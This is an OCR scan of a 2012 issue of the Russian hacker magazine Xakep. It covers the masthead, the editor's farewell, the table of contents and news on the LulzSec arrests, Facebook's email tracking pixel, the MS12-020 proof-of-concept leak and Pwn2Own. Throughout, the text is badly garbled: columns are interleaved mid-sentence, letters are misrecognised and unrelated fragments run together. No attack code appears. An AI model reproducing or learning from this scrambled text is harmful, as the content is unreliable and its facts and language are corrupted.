САМЫЕ НЕОБЫЧНЫЕ УСТРОЙСТВА С LINUX o ЖУРНАЛ
05 [160]2012
ОТ КОМПЬЮТЕРНЫХ ХУЛИГАНОВ
ПЕРЕХВАТТРАФИКА ЧЕРЕЗ WPAD РЕКОМЕНДОВАННАЯ
ОПАСНАЯ ~ РАЗМЕТ
ЦЕНА:230р.
- е КАКУСТРОЕН
GOOGLE - о СОБИРАЕМ СЕТЕВОЕ ХРАНИЛИЩЕ ИЗ СТАРОГО ЖЕЛЕЗА
ХМL-ТРАНСПОРТ ИСПОЛЬЗУЕТСЯ ЧУТЬ ЛИ НЕ В
- о -
КАЖДОМ ВТОРОМ ПРИЛОЖЕНИ И. И БОЛЬШИНСТВО ИЗ НИХ ГРЕШАТУЯЗВИМОСТЯМИ ИЗ-ЗА
ИНТЕРВЬЮ С
НЕПРАВИЛЬНОЙ ОБРАБОТКИ РАЗМЕТКИ XML.
СОЗДАТЕЛЕМ ТЕРМИНАЛОВ ОПЛАТЫ
EPIDEMZ.NET
EPIDEMZ.NET
lntro
-пА н ЕР
...11;. РЕДАКЦИЯ
Никита «nikitozz» Кислицин lnikitozrareal.xakep.ru ] Степан «step)) Ильин [step0real.xakep.ru ] Николай «gorl» Андреев [goгl um0real. xakep.ru ]
Главный редактор Шеф-редактор
Выпускающий редактор Редакторы рубрик
PC_ZONE и UNITS
Степан «step>> Ильин lstep!areal xakep .ru)
взлом
Петр Стаховски [petyarareal.xakep.ru ) Андрей <<Andrushock>> Матв еев [andrushock!Oreal.xakep.ru ]
UNIXOID и SYN/ACK MALWARE
Александр «Dr. Klouniz)) Лозовский {alexandeгrtlгeal.xakep.гu l Ник олай ((goгl)) Андреев (goгlumrtlгeal . xakep.гu l (vagi zovaragl c гu ]
КОДИН Г
Людмила Вагизова
РR-менеджер
Евг ения Шарипова
Литературные редакторы
Анна Аранчук
DVD Выпускающий редактор
Антон ((an t)> Жуков (antraгeal.xakep . гu l
Uniх-раздел Security-paздeл
Андрей «Andгushock)) Матвеев (andгushockffireal. xakep . гu ] Дмитрий ((01 gl )) Е вдокимов ievdokimovdstagmail.com )
Монтаж видео
М аксимТруб ицын
ART Арт-директор
Алик В айнер l al i kГc!glc . гu )
Дизайнер
Егор Пономарев
Вера Светлых
Верстальщик
Сегодня особенныйдля меня выпускХ, ну и вообще-наступил довольно трогательный момент. Д ело в том , что юбилейный, 160-й выпускжурнала последний для меня в роли главн ого редактораХ. Со следующего выпуска я с гордостью передаю руководство про ектом своему другу и коллеге Стёпе Ильину.
Билд-редактор
Елена Беднова
Иллюстрация на обложке
Александр Бричкин
PUBLISHING 000 (( Г ей м Л энд)>, 115280, Москва,
Учредитель
у л. Ленинская Слобода, 19, Омега плаза, 5 зтаж, офис
No 21.
Генеральныйдиректор
Дмитрий Агаруно в
Генеральный издатель
Андрей Михайлюк
Финансовый директор
Андрей Фатеркин
Т ел.: )495)935-7034, факс:
Директор по маркетингу
Елена Каркашадзе
Управляющий арт-директор
Алик В айнер
в осознанной жизни: я з дорово изменился и многому на учи л-
Главныйдизайнер
Энди Тернбулл
ся. Оно и понятно : ведь с
Директор по nроизводству
Наталья Штельмаченко
Эти шестьлет для меня были, наверное, пока самыми важными
20 до 26 летчеловек априори
многому
обучается и априори взрослеет, но для меня все это, безусловно,
РАЗМЕЩЕНИЕ РЕКЛАМЫ
прошло подзнаком Х, а журнал и вс е связанные с ним активности
Т ел.: )495)935-7034, факс:
выступили значительным катализатором . За шестьлетя сросся
РЕКЛАМНЫЙ ОТДЕЛ
1495)545-0906
с журналом своим мозгом, друзьями и образом жизни. Работа в
Заместитель генерального
Х ведь это не просто работа: пр еж д е всего это тусовка, др узья и
директора по nродажам
любимое ув леч ение. Поэтом у я, конечно , чувствую некоторую трогательную горечь
от с воего решения: очень тяжело отрывать кусок о т самого себя и
1495)545-0906
Зинаида Чередниченко (zinaidachtaglc.ru ]
Директор группы TE CHNOLOGY
М арина Филатова llilatoyaГc!glc .ru )
Старшие менеджеры
Ольга Ем ель янцева ( olgaemlfagl c .гu ]
Менеджеры
Светлана Мельникова ( melnikovafaglc .гu l Дмитрий Качурин ( kachuгinrдglc . гu l Елена Поликарnова l pol i karnovafagl c. гu )
Директор корпоративной групnы
(работа с рекламными агентствами]
Старшие менеджеры
Кристина Татаренкова ltatarenkovaГciglc.ru ) Юлия Господин ова ( gospodinovafaglc . гu l
Старшийтрафик-менеджер
М арья Буланова l bulanova@glc . гu ]
менять что-либо. Буду с теплотой вспоминать прошедшее время
и все , что мы сделали здесь с моими друзьями . Неим оверно благодарен самому главномуучастникуХ-движения: всем нашим
М а рия Дубровс кая )dub rovskayaГc!glc.гu )
чит а телям и теб е пер со нально. Р еспек т, броl Однако пришло время двигаться вперед- и мне, и журналу. Абсолютно уверен , что Стёпа будет феноменальным р у ководи
т е лем и быстро достигнеттех целей и задач, которые п е ред ним
с тоят. Все в порядке у э того р е шения и с пр ее мственн ос тью: Степа
плоть от пло т иХ-человек и прошел длинный путь от автора статей
ОТДЕЛРЕАЛИЗАЦИИСПЕЦПРОЕКТОВ Директор
Александр Коренфепьд l ko г eпfeldГc!glc.гu 1
Менеджеры
Светлана Мюллер Наталия Т улинова
РАСПРОСТРАНЕНИЕ
до главного редактора. Стёпа- невероятны й человек, очень про
Директор по дистрибуции
Т атьяна К ошелева
ш у всех его поддержать .
Руководитель отдела подписки
Виктория Клепик ова
В об щ ем-то , в се. Еще надо ответить на сам ый частый из все х
вопросов, которые мне задают: чем же я буду заниматься да л ь ш е? Короткий и абсолютно честный ответ: глобально я решуэ то в следующие ш есть месяцев, которые проведу в С ША . При ехал сюда с тремя целями: ул уч шить свой английский, завес ти новы х др узей и з н аком ы х, найти с вежи е идеи и вдохновение. В данный момент сижу на лавочке в Ц ентра л парк е и , честно г оворя, с трудом пере
к люч ил мозг, чтобы написать это Интро
:1. Привет и з Нью-Й орка !
Руководитель
Наталья Лукичева ( l uk i chevarag lc.гu ]
сnецраспространения
Претензии и доnолнительная инфа :
В случае возникновения вопросов по качеству печати и ОVО -дисков: claimГciglc . гu . Горячая линия по подписке
Факс для отправки купонов и квитанций на новые подписки: (495]545 -09-06 Т елефон отдела подписки для жителей М осквы: (495]663-82-77 Т елефон для жителей регионов и для звонков с м обильных телефонов:
Дпя писем :
101000, Москва,
Главпочтамт, а/я
rn.peд.X
8-800-200-3-999
652, Хакер
Зарегистрировано в Министерстве Российской Федерации по делам печати, телерадиовещанию
и средствам массовых коммуникаций ПИЯ
nikitozz,
(kosheleva@glc.ru ) llepikovaraglc.ru]
77-11802
от 14.02.2002.
Отпечатано в типографии Scaпweb, Финляндия. Т и раж
220 000 экземпляров.
Мн ен и е редакции не обязательно совпадает с мнением а второв. Все материалы в номере nредоставляются как информация к размышлению. Л ица, использующие данную инф орма цию
Р.
S. Забыл
отдельно о тм етит ь : я полн остью сохраняю с вою связь
с жу рналом, зде с ь остаются работать мои друзья. Кроме т ого , вс е мои контакты оста ли с ь пр ежними: меня можно легко д ос тать
в противозаконных целях, могут быть привлечены к ответственности. Редакция не несет ответ
ственности за содержание рекламных объявлений в номере.За nерепечатку наших материалов без спроса- nреследуем.
По воnросам лицензирования и nолучения пр ав на использование редакц и он н ых материалов
по адресу n ikitozraгea l. xake p . гu . Н е прощаюсь-ув е рен , что е щ е
журнала обращайтесь по адресу: coпtent@glc . гu .
увидимся на ст раница х
© ООО«Гейм Лэнд», РФ, 2012
Xl
EPIDEMZ.NET
Content
АМЕРИКАНСКИЕСПЕЦСЛУЖБЫ ОБЪЯВИЛИ ОБ АРЕСТЕ ПЯТИ ЧЛЕНОВ ГРУППЫ
HEADER 004
MEGANEWS
016
Колонка Стёпы Ильина
017
Proof-of-concept
Все новое за последний месяц
009
hacker tweets Хак-сценавтвиттере
Где взять бес пл а т ный
VPN?
Задача: подменить исходныйтекстстраницы
,.
030
COVERSTORY
COVERSTORY
018 Опасная
Из грязи в NAS'ы
разметка
Собираем
Настольный
домашний
NAS
справочник по
из [очень] старого
атакам на ХМL
железа
приложения
EPIDEMZ.NET
LULZSEC
036
PCZONE
099
Задачина собеседованиях Подборка интересных заданий, которые даю т
036
на собеседованиях
Ханипат на Amazoп
102
Поднимаем ловушку для червей и сплоитов в облаке
042
Паттерны «Итератор >> и << Компоновщик>> Работа с коллек ц иями
Снифаем трафик чере з WPAD Новая возможность lпteгcepteг-NG для перехвата сетевого трафика
045
Неограниченны й файлаобмен Пять фишек сервиса WiгeOveг
046
Какустроен
-
UNIXOID
106
Файловые системы будущего Сравнительный обзор
Архитектурные ухищрения поискового гиганта
112
Easy Hack Хакерекие секреты простых вещей
056
Обзорэксплоитов
-
SYN/ACK
116
Главные магистрали
122
На страже корпоративных интересов
На ст раиваем выходвинтернет через разных про ва й д еров
Анализсвеженькихуязвимостей
062
Атаки на
DNS: вчера , сегодня, завтра Ghost Domaiп Names и другие Оdау-способы
Обзор Symaпtec Eпdpoiпt Pгotection
взлома
128
системы доменных имен
068 072
Вирт уал ьный коммутатор О реп
История взлома популярного блогохостинга liveiпteгпet.гu
возможностей и применение
vSwitch: обзор
из п рактики анализа защищенности
-
веб-приложе н ий
076
12
Соединяй и властвуй
Прощай,Лирушечка!
Funny hacks 5 забавных историй
Hammeг
Беспредельная экспансия Liпux
взлом 050
ZFS, Btгfs и
По всем фронтам
X-Tools Соф т д ля взлома и анализа безопасности
FERRUM
134
Полный
HD
Тестирование широкоформатных мониторо в с диагональю более
-
MALWARE
078
маr варь у аппарата! Разбираем перспективы использования современного
железа в зловредном ПО
082
Тест антивирусов : ядро подугрозой Проверяем способность ан т ивирусов предотвращать проникновение в ядро
086
Windows
Законом по вирмейкингу
Электронноечтиво
-
Обзор электронной книги_WЕХ LЕ R.ВООК Т7007
140
FAQ United Большой FAQ
143
Диско
144
8.5 Гб всякой WWW2
Суровая правда о ловле вирмейкеров и о доказательстве их преступлений
24"
138
юниты
всячины
Удоб н ые wеЬ-сервисы
КОДИНГ 090
Колбасим
SAPI
Встраиваем интерпретатор Р НР в свои проекты
128
на ассемблере!
096
Извращенный перехват Перехватфункций при помощи бубна,
Attacks и
DLL Pгeloadiпg
отладочных исключений
EPIDEMZ.NET
СПУСТЯ ПОЧТИ ТРИ ГОДА СМОМЕНТАВЫХОДАВЕТКИ5.3 · был официально представлен релиз языка программирования РНР5.4 . 0 .
ШУТКИ В СТОРОНУ АРЕСТОВАНЫ УЧАСТНИКИ
ДЛЯ САМЫХЛЕНИВЫХ И КРЕАТИВНЫХ
LULZSEC
ы п освятили не од н у ста ть ю д ея т е л ь н ости хакерекой группы
Lulz
ЧТО ДЕЛАТЬ, ЕСЛИ НАДОЕЛО
Secuгity, наделавшей много ш ума в прошлом г о д у. Нап омним , что
ВВОДИТЬПАРОЛИ ВРУЧНУЮ
п ере д т ем, как красиво «распасться >>, эти парни успе ли п оглумиться
над Sопу, N iпtendo, несколькими американскими телекомпаниями [включая Fox и PBSI, америка н ским сенатом, ЦР У, полицией С Ш А и т ак далее. Н еуд и вительно, что правоохранительные органы самых разных стран мира были
а с то, очень
ча с то нам приходит
ся набирать самые
заинтересованы в их n оимке и оче нь старались.
В марте американские спецслужбы объявили об аресте пяти чле н ов груп
разные па роли. Н а
пы: п о двое из Лондона [Kayla и Top iaг y l и Ирл а нди и [pwnsauce и palladiuml,
с т оящие nара н оики
одного - из Ч икаго [Anaгchaos l . Личн ости всех хакеров раскрыты . П оданны м
знают , чт о галочка
новостнаго агентс тв а
«со х ранитьnароль»
FoxNews, возглавлял груnпу 28-летний Хектор Ксавьер
Монсегур, житель Нь ю-Йорка, отецдвоих детей, безработный, известный под
х отя и уд о бна, но не
ником Sabu. Оказывается, он работал под прикрытием и снабжа л информа
слишком х ороша
цией ФБР с самого 20 11 г ода, за ч тотеперь может рассчитывать на смяг ч ение
сточки з рения безо
приговора [ ус л овия с д елки с ФБР не разглашаются). Именно по его наводке
пасно с т и . И вообще
и были арестованы ос т альные пятеро чл енов груnnы. Обвинения nротив хаке
лучше n о льзоваться
ров выдвинуты стан д артные для такого с л учая: незаконное nроникновение
экранн ой к лавиа
в ком n ьютерные сис т емы, удаление информации, nохищение конфиденциаль
тур ой, с тарательно
ных данных, «включая зашифрован н уюи н езашифрованн у ю ч у вствительную
закрывая монитор
переанальную информацию о т ысячах жертв».
от о кр ужаю щих
:1.
Н о к а к со вмести ть
а Хотя шестеро
обы кно в е нн у ю челов е ч ес кую лень с безоnасностью? Финский n рограм мист Д жу нас Пиладжамаа, n охоже, н а ш ел ответ на этот воnр ос. Он сконструировал устройство, которое прос т о вставля е тся в разъем USB, выдаетсебя за клавиатуру
[USB HIDI и с амо вводит нужные символы ! Та ким об заявляет, что
LulzSec возобновит своюдеятельность
с
1 апреля . « Странно
разом , Д ж унасу даже не нужно запоминать па роли, не то что на б ирать их. Также суперфлешка умеет и генериро вать н о вы е па роли, со х раняя их на будущее. Н а n ример,
считать, чтоарест
сгенерир о вать параль с дефолтной длиной
шестерых членов
можн о ч е тырехкратным нажатием к л авиши
LulzSec мог бы
1О символов Caps Lock .
остановить на о>,
Устройство размещено в кор n усе старой не н ужной
говорится в ролике .
USВ-флешки, внутри собрана плата на базе 8-битного RISС-микроконтроллера ATtiny85 и всех сопутствующих комnонентов. У себя в благе находчивый финн рас сказыва е т, какзапрограммирован микроконтроллер, показывает исходн11ки и демонстрирует схему nлаты:
tinyurl.com/73wcvsh .
APPLE ВЫПУСТИЛА IPAD
БЛОКИРОВАТЬЛИНКИМА
ВSКУРЕПОЯВИЛАСЬВЕСЬМА
САМЫЙ БЫСТРЫЙ В МИРЕ
ПОБЕДУ ВО ВТОРОМ КОНКУР·
ТРЕТЬЕГО ПОКОЛЕНИЯ,
НЕПРИЯТНАЯ ФОРМА
ЗD·ПРИНТЕР собрали
CEFACEBOOKHACKERCUP
который называется просто
THEPIRATEBAY.SE начали Windows Live Messeпger
РЕКЛАМЫ. Совершая
в Венском техническом уни-_
одержал россиянин Роман
«пewiPad».Зa первыетри
и другие !М-клиенты,
видеозвонок,будьготов
верситете.Благодаряметоду
Андреев, 18-летнийстудент
днясначалапродажбыло
использующие серверы
увидетьвместолица
двухфотонной литографи и
СПбГУ. За первое место он
реализованоболеетрех
Microsoft. MS пока не ком
собеседника рекламный
скорость устройства дости
получилпризвразмере5000
миллионов устройств!
ментирует ситуацию .
баннер .
гает пяти метров в секунду.
долларов .
ХАКЕР
EPIDEMZ.NET
05/160/2012
А Апьфа·Банк
Оформить дебетовую или кредитную «Мужскую карту» можно в отделениях ОАО «Альфа-Банка», а так же заказав по телефонам:
(495) 229-2222
в Москве
18-800-333-2-333 в
регионах России (звонок бесплатный)
или на сайте
www.mancard.ru
(game}land ОАО · «Альфа - Банк». Генеральная лицензия банка России на осуществление банковских операций от
EPIDEMZ.NET
29.01.1998 NQ1326"
НОВАЯ ФИШКА GMAIL: если nисьмо nопало в сnам , в его теле nоявится блок с nояснением, nочему
MEGANEWS
си с тема сочла сообщение нежела тельным .
ПОДЗАРЯДКА ГАДЖЕТОВ ТЕПЛОМ ЧЕЛОВЕЧЕСКОГОТЕЛА
ХАКЕРЫ В НЕБЕ ,
УДИВИТЕЛЬНУЮ ТКАНЬ РАЗРАБОТАЛ ВЫПУСКНИК
АМБИЦИОЗНЫЕ ПЛАНЫ ПАРНЕЙ С CHAOS
УНИВЕРСИТЕТА УЭЙК ФОРЕСТ (США)
COMMUNICATION САМРИНЕ ТОЛЬКО Подроб н о сти ис
с л едова н и й Кор и Хьюита и д е тали о Powerfelt н е д а вно был и оп у бли к ов а н ы в ж урна ле Nano Letter s. Ста т ью м о ж н о на й ти по адресу :
tinyurl.com/822zwtf, одна к о з а ч т ен ие
полно й вер с ии пр и· дется заплатить .
В КОСМОСЕИНАЛУНЕ
EJ
а головок этой новости можетвызватьнедоумение и даже по казаться немного сумасшедшим, однако группа немецких хакеров-активистов не видит
в своей затее ничего смешного и невыполнимого. Эти парни
собираются ни много ни мало сконструироватьспутниковые модемы и запустить на орбитусетьсамодельных спутников,
чтобыобеспечитьработусвободнойбесцензурнойсет~ неподконтрольной властям и медиакорпорациям. К таким кардинальным мерам их подтолкнула приснопамятная
SОРА-хотя ее пока и не приняли, угроза не миновала.
Всамомделе,медиакорпорациистара т е л ьнозакручивают интернету гайки, и о каких-то альтернативахдумать нужно .
Амбициозный космический проект носит имя H ackeгspace
Global Gгid [shackspace .d e/wiki/do ku. ph p?id=proj ect:h gg1. и впервые о нем рассказали на конгрессе Chaos Communication Camp 2011, что проходил в Берлине в конце зимы. Пока над проектом трудится маленькая, но гордая ко
манда из трех человек:
hdz и aгmin [Армин Бауэр! совместно
с инженером Андреасом Хорн игом. Хакеры вполне здраво оцениваютсвои силы и понимают,
с
огласись, в наши дни проблема подзарядки многочисленных мобиль
что врядли им удастся самостоятельно построить «Буран>> :1.
ных устройств очень актуальна. Если ты ведешь активный образ жизни
Парнипредnолагаю~чтоеслиунихнеполучи т сяскон
и тебе постоянно нужно оставаться на связи, приходится носить с собой
струировать ракеты, то можно будет за п ла т ить российским
зарядник [а то и не один ! , постоянно искать розетки и такдалее. Увы, беспро
или европейским комnа н иям за дос т авку груза н а о р биту.
водная зарядка гаджетов п ока несовершенна и поэтому мало популярна . Но по
Вообще планируется, что сеть будет сос т оять из передат
хоже, в ближайшем будущем у нас могут появиться интересные альтернативы.
чиковиретрансляторо~установленныхв«контрольных
Ученый Кори Хьюитразработал материал Poweгfelt, способный превращать
точках >> , сточным определением их местоположения по си
тепло человеческого тела в энергию для коммуникаторов, плееров, планшетов .
стемам
Любое устройство можно зарядить, если просто носить одежду, сделанную
сп у тники, а также наземные устройства связи и протоколы
с применением Роwег felt. Похожее на кусок черного войлока устройство собра
для спутниковых коммуникаций. Три прототипа наземных
но из углеродных нанотрубок и пластиковых волокон. Электричество выраба
базовых станций планируютсобратьуже в
тывается благодаря разницетемператур междутелом человека и окружающей
вые модели, возможно, даже покажут на следующем ССС.
GPS,
ГЛОНАСС и
Galileo. Остается разработать сами
2012 году, а гото
средой. Хьюит поясняет, что, если из Роwег felt сделать рубашку или пиджак ,
Интересно, что ориентировочная стоимостьустройства не
мощности хватит, чтобы поддерживать в рабочем состоянии плеер вроде iгiveг.
должна превысить 100 евро .
Чем холоднее на улице, тем эффективнее термоэлектрический материал вырабатывает электри ч ество. Д а-да, в условиях русской зимы Роwег felt
будет особенно хорош
:1.
Радуеттакже потенциальная доступность разра
ботки : новый материал обойдется производителям примерно в один доллар
Однако альтернативный спутниковый интернет-это только nервая задача, которую nоставили хакеры на
конгрессе
Chaos Communication Camp. Второй
проект еще
круче: высадка астронавта-любителя на лунную поверх
за килограмм, а значит, рубашка из нанавойлока не будетстоить несколько
ность к 2034 году! Хакеры уверены, что эпоха, когда запуском
тысяч вечнозеленых денег. В настоящее время университетУэйк Форест, чьим
людей в космос занимались государственные организации,
выпускником является Хьюит, уже ведет переговоры с инвесторами на тему
осталась в прошлом. К сожалению, об этой части проекта
промышАенного производства Роwег felt.
покаизвестнооченьмалоподробносте~такчтонамостае~
с я только пожелать парням удачи . Как бы то ни было, их упор ство и желание что-то изменитьуже вызываютуважение.
Кстати, стоит сказать, что о небе недавно задумалась и команда торрент-трекера The Piгate Вау. В б логе ТРВ
ОТКАЗ ОТ МНОГОТОМНЫХ БУМАЖНЫХ ИЗДАНИЙ
появиласьзаписьотом,чтоадминистрацияресурсавновь вернулась к размышлениям о месторасположении серверов.
Напомним,чтовтяжелыедлятрекеравременарассматри валисьдаже варианты покупки своей собственной страны,
СТАРЕЙШАЯ АНГЛИЙСКАЯ
где серверы никто не тронет, строительс т ва морской платформы или вариантзапуска серверов в космос и nриоб
ЭНЦИКЛОПЕДИЯ«БРИТАННИКА»
ретения собственного спутника. Теперь команда собирается
(ВЫПУСКАЕТСЯ УЖЕ
тательных аппаратов, которые будут курсировать над ней
2''
ГОДА)
ПОЛНОСТЬЮ ПЕРЕХОДИТ НА ЦИФРОВЫЕ НОСИТЕЛИ
разместить часть оборудования на бортубеспилотныхле тральными водами. На борт дронов по грузят, конечно, не все оборудование, а лишь узлы, которые <<будут перенаправлять
трафик в секретное место>>. <<Чтобы вывести нашусистему из строя, придется сбивать бесnилотники. А это уже настоящие военные действия>>,- говорится в блоге ресурса.
ХАКЕР
006
EPIDEMZ.NET
05/160/201 2
ПРОДУКТЬI СО ВСЕГО МИРА*
OT&OPHbiE
Мы з наем , где в м и ре най ти сам ы е лучш ие п родукты . Вы зн аете, что можете н айти их р ядом , под маркой
TASH Р екл а ма
EPIDEMZ.NET
MEGANEWS
ЗА ПЕРВЫЕ СУТКИ ПОСЛЕ ПУБЛИКАЦИИ 6ETA-BEPCИИWINDOWS8 ее скачалиболее одного миллиона раз . .
FACEBOOK ШПИОНИТ
NOKIA ПРЕДСТАВИЛА
ЗА ПОЛЬЗОВАТЕЛЯМИ
СМАРТФОН С КАМЕРОЙ мп
41
СТРАННЫЙ КОД В ПИСЬМАХ ОТ КРУПНЕЙШЕЙ СОЦИАЛЬНОЙСЕТИПЛАНЕТЫ
ФИННЫ РАЗРАБОТАЛИ НЕЧТО, ПОХОЖЕЕ НА ФОТОКАМЕРУ СО ВСТРОЕННЫМ СМАРТФОНОМ
н
а выставке MoЬile
World
Congгess
настоящий фурор
nроизвел смартфон
808
Nokia
PuгeVi ew, уком
плектованный 41 - ме
гапиксельно й камерой
[эффективное разрешение
38 MпJI Первоначальный прототип этого устройства был готов еще в
2008
год у,
но nотребовалосьболее сорока конструктивных
изменений, чтобы при в ести его к современному
m 1
казывается, найти не слишком этичные ш т учки
дизайну. Вы ход
вроде карти н ок 1х 1 рх можно не т олько в спаме, но
PuгeVie w под управ лением
и в письмах опакого серьезного игрока IТ- рынка,
как
Facebook.
ОС SymЬian
П ростой пользователь Карл Чатфилд обна
ружил в письма х о т
Nokia 808
Belle
намечен на второй квартал этого года,
аппарат будетстоить около
Facebook следующий кусок кода:
450 евро.
<< Н о как?r,, - спроси шыы. Д авай разберемся. В каме
ре использ уе тся датчик разрешением
<s pan
пикселей, размер nикселя
style= ЗD"" >< img src= ЗD"http://www.facebook .
41 Мп [7728 5368 1,4 мкмl. Формат датчика-
com/email_open_log_pic.php?mid=ЗD51178b2G56e57c6
а
1/1,2 дюйма, то есть он существенно крупнее д атчиков
dGlf415bcGB" style= ЗD"border:B;width:lpx;height: lpx;" /><bgsound src= ЗD"http://www . facebook.com/ email_open_log_pic.php? mid=ЗD51178b2G56e57cбdGlf
Сам по себе по·
не толькобольшинства камер , встроенных в с мартфон ы
чтовый шnионаж
[они имеют формат
415bcGB&s=ЗDa" vo lume= ЗD"-lBBBB" /></spa n >
П о идее, тeг<bgsound> предназначен для вне дрения ед о
далеко не нов , и с
ним борются. Так ,
1/3,2 дюйма!, но и многих современ ны х
компактных камер. Однако именно высокое разрешение
Gmail блокирует
датчика используется для повышения качества снимков.
все без исключения подобныетипы
Пр оисходит это nутем объединен и я данных с соседних
контента, а вот
nикселей для получения итогового изображения. То ес ть
кументзвукового файла, который nроигрывается в качестве
« Яндекс . Почта »,
по умолчанию камера формирует изображения в формате
фоновой музыки. Но сегодня
увы, пропускает
16:9 с
no прямомуназна ч ению это тт е г
исnользуюттолько совсем уж <<альтер н ати вн о ода р е нные >>
личности. В ыяснилось, что подобный код Fa cebook встав
<a udio src="http:// TRACKING URL/" > </audio >И <video src="http:// TRACKING URL/" > </v ideo > ~
разрешением
5 Мп.
Н о не стоит забывать, чт о
Nok ia 808
P uгeView- это
еще и смар тфон. Устройство оснащено АМО LЕD -экра н ом
на сервере Fa cebook, который фиксируетобращения к нем у
[640 360 пикселейl. Объем встрое н ной памяти -16 Г б [можно расширить с помощью карты формата micгoS Dд o32 Г бl. Одноядерный процессор
и за пи сываетрезультаты в лог. Комnания может анализи
рабо т ает на частоте
ровать эффек тивн ост ь п оч товых рассылок, высчитывать
в режиме разговора в сети
точный C~R и пр очее. Гад енько, н о за т о эффективно.
часов ,
ляетвкаж доеписьмоi Р азумеется,музыказдес ьнипри чем. В качестве звукового файла в nисьмахуказан скри пт
размером 4дюйма
1,3 Г Гц. Время автономной работы GSM достигает оди ннадцати в сети WCDMA - шести с nоловиной часов.
Яndex ~~ЗЕЛЕНЫЕ» ТЕХНОЛОГИИ
«ЯНДЕКС» ТЕПЕРЬ
НАСЛУЖ6ЕIТ
СОТРУДНИЧАЕТ С TWIТТER.
НАСА ПОТЕРЯЛО
Дата-центр
Поиск.овик nолучил nолный .
ЛЕЙ информации, сообщает
джии охлаждается канали
достуn к заnисям юзеров
журнал
зационной оборотной водой,
инаучилсянаходитывиты
из ПК, кстати, содержались
nотребляя около
через несколькосекундnо
команды для уnравЛения
сле nубликации ,
мкс.
Google в Джор
378,54 м '
в день.
ЗА ПОСЛЕДНИЕДВАГОДА
48 НОСИТЕ
Forbes. На одном
ХАКЕР
008
EPIDEMZ.NET
05/160/2012
ГciNTarakanov:
Я всегда удивлялся, почему
Apple
удаляет, например, кальку
лятор из i Pad'oв?
Вышла новая версия Chгome.
Ну, в реальном мире атакующий
faax330d- убийца SVGуязвимостей! :) Отличная работа,
не беспокоится о побеге из
песочницы Chгome'a. Он просто
Гclmdowd:
fai0п1c Это такая фишка безопас ности- избе гать в ы пр ы ги вающего калькулятора. Тут уже не покажешь демонстрацию работающего
сплоита, запускающего
calc :).
~~ Один из авторов][ также отметился с вэnомом
Chrome'a. Надеюсь,
ты читал
статью Артура Геркиса [faax330d) в одном
То, что переона У
из прошлых номеров.
раскрыла
отблагодарил
нашего супергероя и присвоил ему этот
багов вендору, не
означает, что у него не осталось
титул:).
еще
N багов
в запасе.
Гclluigi_auriemma: МS12-020-загадка: пакет, хра
ГciChrisJohnRiley:
[ ] нимый В <<КИТаЙСКОМ>> гdpcli:пt . что я передал в
rathezdi?
ZDI!!!
Гclochsff:
Подожди ... так тот <<неизвест
ехе РоС, именно ТОТ САМЫИ,
Продал бы Auгiemma свой
ный язык программирования >>,
Кто источник утечки?
на котором был написан
famicгosoft?
Всего ли ш ь объектно-ориентированный Си
1!!1!1 liil
[с ком п илятором
Комментарий:
Наделавший много шума РоС
эксплоит для
MS12-020
каким-то образом
утек, о чем сообщает в своем твиттере автор, продавший уязвимость компании
ZDI.
Кто виноват?
ZDI,
если бы он был
эксnлуатируемый? Это нор мальный бизнес-кейс- п родавать неэк
MSVC 2008)? #БЛИН!
сплуатируемые баги
1!!1!1 Комментарий : liil Некоторое время назад Лаборатория Касперекого заявила, что для создания Дуку был использован неизвестный язык про
граммирования. И вот развязка
RОР-баг
Duqu ...
1!!1!1 liil 020
Комментарий :
Да , с боевым эксплоитом для MS12-
пока что проблемы . П охоже, что червя
нам ждать пока рано
:).
ZDI.
..
ГciDepressedDarth:
Заметил, что Оби - Ван отметился
VU ?ёN
Pwnium отчет: goo.giNZFWS.
Fouгsquaгe.
Китайская киберармия, ну поче-
ГciVUPEN:
Гclscarybeasts:
на Звезде Смерти с помощью
#Pwn20wn был всего лишь кроссбраузерный Flash . Все самое крутое #Pwnium.
Google Chгome- это пер вый браузер, который пал на
А также выяснили, что на
#Pwп20wn на
2012. Мы исполь DEP/ASLR
зовали эксплоит, обходящий
и песочницу, и смогли выполнить произ
вольный код!
1 му вы всегда оставляете свой
в боевой нагрузке?
1!!1!1 Комментарий: liil На прошедшем конкурсе Pwп20wn О пяти удаленных pгe-auth
Odays ОК, стремительные бобры, не
в
Samba
сообщили вчера,
а сегодня от команды
Samba
победила команда
VUPEN.
Самое важное,
что они сумели взломать браузер Chгome и обойти его песочницу - комбинацию, считаю щуюся наиболее безопасной м н оги
торопитесь ска ч ивать любой
получили
по п авшийся Руthоп - скрипт,
Отлично.
ми экс п ертами . Детали уязвимост и и обхода
1!!1!1 Комментарий : liil А ведь что бы ни говорили, дыры есть
что- всем бояться, как обычно.
о том, что патчи уже готовы.
песочни ц ы неизвестны . Даже
который называет себя RО Р- экс пл оитом. Н е все Питон-екрипты ми л ые!
1!!1!1 Комментарий: liil Когда все ждут боевого MS12-020,
одни производители быстро выпускают
можно легко сыграть в сацинженерию
патчи, а другие
Google .. . Так
везде . Не только у мелкомягких . Но зато
-
нет .
и подсунуть что-то плохое :). Интересно, сколько людей запустили у себя зловредный скрипт, увидев заветные слова «работаю
щий СПЛОИТ>>?
ХАКЕР
.,
05/160/2012
EPIDEMZ.NET
MEGANEWS
ПРОДАЖИ SAMSUNGGALAXYS 11 перешагнули рубеж в 20 миллионов устройств. На это Samsuпg понадобилось
10 месяцев .
СМАРТФОН, ПЛАНШЕТ,
НОУТБУК. ВСЁ В ОДНОМ ИГОЛКА В ЯЙЦЕ, ЯЙЦО В УТКЕ, УТКА В ЗАЙЦЕ •• • ПОЧТИ ТАК ЖЕ ВЫГЛЯДЯТ НОВЫЕ ТРАНСФОРМЕРЫ
OTASUS:) а выставке MoЬile Woгld Cong г ess, nрошедшей в Исnании, комnания
Asus анонсировала PadFone.
гибридное уст р ойство nод названием
Этот хитрый девайс объе д иняет в себе фу н кциональ ность смартфона, nл а нш ет н ого ПК и ноутб ук а. Каким образом? Весьма nросты м. Итак , начнем с того , ч то ASUS
Pad Fone - это современный Аndгоid - смар тфон.
Основ ой
изделия выступает дв ухъядерный пр оцессор Snapdгagon
54 с интегрированным GPU Adгeno 225,
работающий nод
управлением ОС Andгoid 4.0 li ce Сгеаm Sandwichl . Экран тиnа Supeг AMO LED имеет размер 4,3дюйма и разрешение
qHD 1960
540точекl; nокрытзащитным стеклом Coгning
Goгilla с nленкой
HCLR . Объем флеш-памяти равен 16, 32 или 64 Г б lв зависимости от модификации!, при ч ем его мож н о расширить с помощью карты памяти формата
